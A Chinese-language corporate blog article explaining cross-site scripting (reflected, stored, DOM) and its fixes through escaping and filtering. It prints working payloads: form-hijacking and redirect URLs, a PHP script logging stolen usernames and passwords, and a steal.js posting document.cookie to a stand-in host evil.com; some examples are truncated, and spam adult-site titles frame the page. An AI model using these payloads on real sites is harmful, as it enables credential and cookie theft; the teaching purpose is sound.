亚洲欧洲自拍拍偷精品网314-新超碰97在线观人人澡-牛牛AV人人夜夜澡人人爽-亚洲国产剧情中文视频在线

您當(dāng)前的位置:首頁(yè) > 新聞資訊 > 產(chǎn)品動(dòng)態(tài) > 正文

【東網(wǎng)技術(shù)大咖帶您走進(jìn)XSS】XSS跨站腳本攻擊原理及防護(hù)

發(fā)布時(shí)間: 2017-02-24 16:54:31  
分享到:

 

跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫(xiě)混淆,故將跨站腳本攻擊縮寫(xiě)為XSS??缯灸_本攻擊(XSS)指利用網(wǎng)站漏洞從用戶那里惡意盜取信息??缯灸_本攻擊是最常見(jiàn)的web應(yīng)用程序安全漏洞之一,在2013年度OWASP top 10中排行第三。

 

XSS屬于被動(dòng)式的且用于客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網(wǎng)站中輸入(傳入)惡意的HTML代碼,通常是javascript編寫(xiě)的惡意代碼。當(dāng)用戶瀏覽該網(wǎng)站時(shí),這段HTML代碼會(huì)自動(dòng)執(zhí)行,從而達(dá)到攻擊的目的。如,盜取用戶Cookie、破壞頁(yè)面結(jié)構(gòu)、重定向到其它網(wǎng)站等。常見(jiàn)存在的場(chǎng)景如搜索框、輸入框(用戶名密碼輸入錯(cuò)誤后,頁(yè)面上會(huì)把用戶名顯示)等。

 

舉一個(gè)簡(jiǎn)單的XSS漏洞例子,通過(guò)XSS漏洞構(gòu)造惡意url盜取他人的cookie。a網(wǎng)站(192.168.1.1460:8000/admin/login.php)存在XSS漏洞:

構(gòu)造惡意url:

http://192.168.1.146:8000/admin/login.php?username=1234567asdfg"/><script>{document.getElementById("myform").action="http://192.168.1.147/xsstest/SAVE.php";}</script><a

瀏覽該惡意鏈接就會(huì)去執(zhí)行語(yǔ)句,(http://192.168.1.147/xsstest/SAVE.php該地址下的SAVE.php是攻擊者搭建的存入用戶名密碼的頁(yè)面),當(dāng)用戶在該頁(yè)面下提交用戶名密碼后,其實(shí)是在SAVE.php中提交密碼。

 

 

在192.168.1.147服務(wù)器上就保存有用戶名密碼,如下圖所示,這就是XSS攻擊。

 

 

XSS攻擊主要被分成了三類(lèi),分別是反射型、存儲(chǔ)型和DOM型。

 

反射型XSS,通常也被稱為非持久性XSS,是當(dāng)前最容易出現(xiàn)的一種XSS漏洞。攻擊者編寫(xiě)的惡意代碼插入U(xiǎn)RL中,當(dāng)用戶訪問(wèn)這個(gè)帶有XSS代碼的URL請(qǐng)求時(shí),服務(wù)器端接收用戶數(shù)據(jù)后處理,然后將帶有XSS代碼的數(shù)據(jù)發(fā)送到瀏覽器,瀏覽器會(huì)解析并執(zhí)行XSS代碼,最終造成XSS漏洞。由于這個(gè)過(guò)程就像一次反射,所以被稱為反射型XSS。

 

存儲(chǔ)型XSS,通常也被稱為持久性XSS,是最危險(xiǎn)的一種跨站腳本。只要是web應(yīng)用中允許用戶存儲(chǔ)數(shù)據(jù)的,都有可能出現(xiàn)存儲(chǔ)型XSS漏洞。當(dāng)攻擊者在某個(gè)頁(yè)面提交了一段惡意代碼,被服務(wù)器接收并存儲(chǔ),當(dāng)攻擊者再一次訪問(wèn)這個(gè)頁(yè)面時(shí),這段XSS代碼程序讀出來(lái)響應(yīng)給瀏覽器,就會(huì)造成XSS跨站攻擊,這就是存儲(chǔ)型XSS。

 

DOM型 XSS是特殊的跨站,將用戶可控?cái)?shù)據(jù)通過(guò)JavaScript和DOM技術(shù)輸出到HTML中,利用方式通常與反射型XSS類(lèi)似。客戶端的腳本程序可以通過(guò)DOM動(dòng)態(tài)地檢查和修改頁(yè)面內(nèi)容,它不依賴于提交數(shù)據(jù)到服務(wù)器端,而從客戶端獲得DOM中的數(shù)據(jù)在本地執(zhí)行,如果DOM中的數(shù)據(jù)沒(méi)有經(jīng)過(guò)嚴(yán)格確認(rèn),就會(huì)產(chǎn)生DOM型 XSS漏洞。

 

本期我們主要來(lái)介紹下反射型XSS。

 

反射型XSS攻擊的常見(jiàn)思路:

 

接下來(lái),我們介紹幾種比較常見(jiàn)的XSS攻擊。

 

第一種,攻擊者常常利用XSS漏洞進(jìn)行釣魚(yú)攻擊。

(1)XSS重定向釣魚(yú),這種釣魚(yú)方式是把當(dāng)前頁(yè)面重定向到一個(gè)釣魚(yú)網(wǎng)站上。假如www.bug.com為漏洞網(wǎng)站,網(wǎng)站www.evil.com為一個(gè)完全仿冒www.bug.com的網(wǎng)站,攻擊者利用XSS漏洞將訪問(wèn)的用戶跳轉(zhuǎn)到冒牌的網(wǎng)站,從而進(jìn)行釣魚(yú)等詐騙活動(dòng)。

 

假設(shè)www.bug.com上有一處XSS:

http://www.bug.com/index.php?search=【Expliot】

那么,Exploit如下:

http://www.bug.com/index.php?search='><script>document.location.href="http://www.evil.com"</script>

 

這樣便會(huì)讓用戶從當(dāng)前訪問(wèn)的網(wǎng)站跳轉(zhuǎn)到一個(gè)邪惡的釣魚(yú)網(wǎng)站。

 

(2)XSS 跨框架釣魚(yú),這種方式是通過(guò)在HTML下的

 

這樣便會(huì)使得邪惡的頁(yè)面覆蓋在正常的頁(yè)面上,顯示的url還是正常的url,從而進(jìn)行釣魚(yú)等詐騙活動(dòng)。

 

(3)修改鏈接屬性攻擊,這是利用XSS漏洞,將正常頁(yè)面中的某個(gè)鏈接修改成邪惡的網(wǎng)站鏈接,當(dāng)用戶點(diǎn)擊的時(shí)候,就會(huì)跳轉(zhuǎn)到該邪惡的頁(yè)面。

 

假設(shè)www.bug.com上有一處XSS:

http://www.bug.com/index.php?search=【Expliot】

那么,Exploit如下:

http://www.bug.com/index.php?search='>

 

這樣一來(lái),當(dāng)用戶點(diǎn)擊了被修改的鏈接之后,就會(huì)跳轉(zhuǎn)到該邪惡的頁(yè)面,進(jìn)行詐騙等行為。

 

(4)修改表單提交對(duì)象,最常見(jiàn)的就是在用戶的登錄頁(yè)面,攻擊者修改了用戶數(shù)據(jù)提交的對(duì)象,當(dāng)用戶點(diǎn)擊登陸時(shí),用戶的賬戶密碼等信息就會(huì)發(fā)送到攻擊者設(shè)置的對(duì)象那邊。

 

攻擊者精心編寫(xiě)了一個(gè)在用戶登陸后獲取用戶名和密碼的腳本SAVE.php

header("Content-type:text/html;charset=gb2312");

?>

$myfile = fopen("cookies.txt", "a") or die("Unable to open file!");

$username =$_REQUEST["username"];

$password =$_REQUEST["password"];

fwrite($myfile, "用戶名:".$username);

fwrite($myfile, "\r\n");

fwrite($myfile, "密碼:".$password);

fwrite($myfile, "\r\n");

fclose($myfile);

?>

假設(shè)www.bug.com上有一處XSS:

http://www.bug.com/index.php?search=【Expliot】

 

那么,Exploit如下:

http://www.bug.com/index.php?search='><script>{document.getElementById("myform").action="http://127.0.0.1/XSStest/SAVE.php";}</script>

 

這樣一來(lái),當(dāng)用戶點(diǎn)擊登陸時(shí),用戶的賬戶密碼等信息就會(huì)發(fā)送到攻擊者設(shè)置的對(duì)象那邊。

第二種,利用XSS漏洞盜取cookie。

 

攻擊者精心編寫(xiě)了一個(gè)盜取cookie的腳本SAVE.php,和用來(lái)請(qǐng)求該腳本的steal.js文件

function loadXMLDoc()

{

var xmlhttp=new XMLHttpRequest();

xmlhttp.open("POST","http://www.evil.com/SAVE.PHP",true);

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp.send("T1="+document.cookie);

}

loadXMLDoc();

假設(shè)www.bug.com上有一處XSS:

http://www.bug.com/index.php?search=【Expliot】

那么,Exploit如下:

http://www.bug.com/index.php?search='><script src="http://www.evil.com/steal.js">

 

這樣一來(lái),當(dāng)用戶訪問(wèn)時(shí),用戶的cookie信息就會(huì)自動(dòng)發(fā)送到攻擊者的手里。

 

從以上敘述可以得出結(jié)論,XSS跨站漏洞最終形成的原因是沒(méi)有對(duì)輸入輸出進(jìn)行嚴(yán)格的過(guò)濾,使得攻擊者可以在頁(yè)面執(zhí)行javascript等客戶端腳本。這也就意味著只要將敏感的字符過(guò)濾掉,就可以實(shí)現(xiàn)對(duì)XSS跨站漏洞的修補(bǔ)。以下介紹兩種修補(bǔ)方案。

 

方案一:對(duì)特殊字符進(jìn)行過(guò)濾

 

在HTML中,<、>、"、’&都比較有特殊的意義,因?yàn)镠TML的標(biāo)簽、屬性就是由這幾個(gè)符號(hào)組成的,如果直接輸出這幾個(gè)特殊字符,就極有可能破壞整個(gè)HTML文檔的結(jié)構(gòu)。所以,一般情況下,XSS將這些進(jìn)行過(guò)濾。

 

方案二:對(duì)用戶可控?cái)?shù)據(jù)html escape 轉(zhuǎn)義

 

如PHP中提供了htmlspecialshar()、htmlentities()函數(shù)可以把一些預(yù)定義的字符轉(zhuǎn)換為HTML實(shí)體。

 

預(yù)定義的字符如下:

&(和號(hào))成為&

" (雙引號(hào))成為"

‘ (單引號(hào))成為'

<(小于)成為<

>(大于)成為>

 

以上兩個(gè)方案可根據(jù)具體場(chǎng)景選擇使用。

 

對(duì)于web服務(wù)器的所有者來(lái)說(shuō),雖然最新版的瀏覽器對(duì)XSS攻擊進(jìn)行了過(guò)濾能在一定程度上保護(hù)用戶不受XSS攻擊,但舊版的瀏覽器上沒(méi)有該功能,因此及時(shí)發(fā)現(xiàn)自身應(yīng)用存在的XSS漏洞,并修補(bǔ)。避免對(duì)用戶造成危害是很有必要的。總的來(lái)說(shuō),對(duì)于XSS跨站腳本攻擊漏洞,其攻擊手段雖然層出不窮,但是都可以徹底的解決。最重要的是能夠真正掌控 "輸入與輸出"。

 

分享到:
地址:福建省福州市銅盤(pán)路軟件大道89號(hào)軟件園A區(qū)26號(hào)樓 電話:0591-83519233 傳真:0591-87882335 E-mail:doone@doone.com.cn
版權(quán)所有 新東網(wǎng)科技有限公司 閩ICP備07052074號(hào)-1 閩公網(wǎng)安備 35010202001006號(hào)
亚洲欧洲自拍拍偷精品网314-新超碰97在线观人人澡-牛牛AV人人夜夜澡人人爽-亚洲国产剧情中文视频在线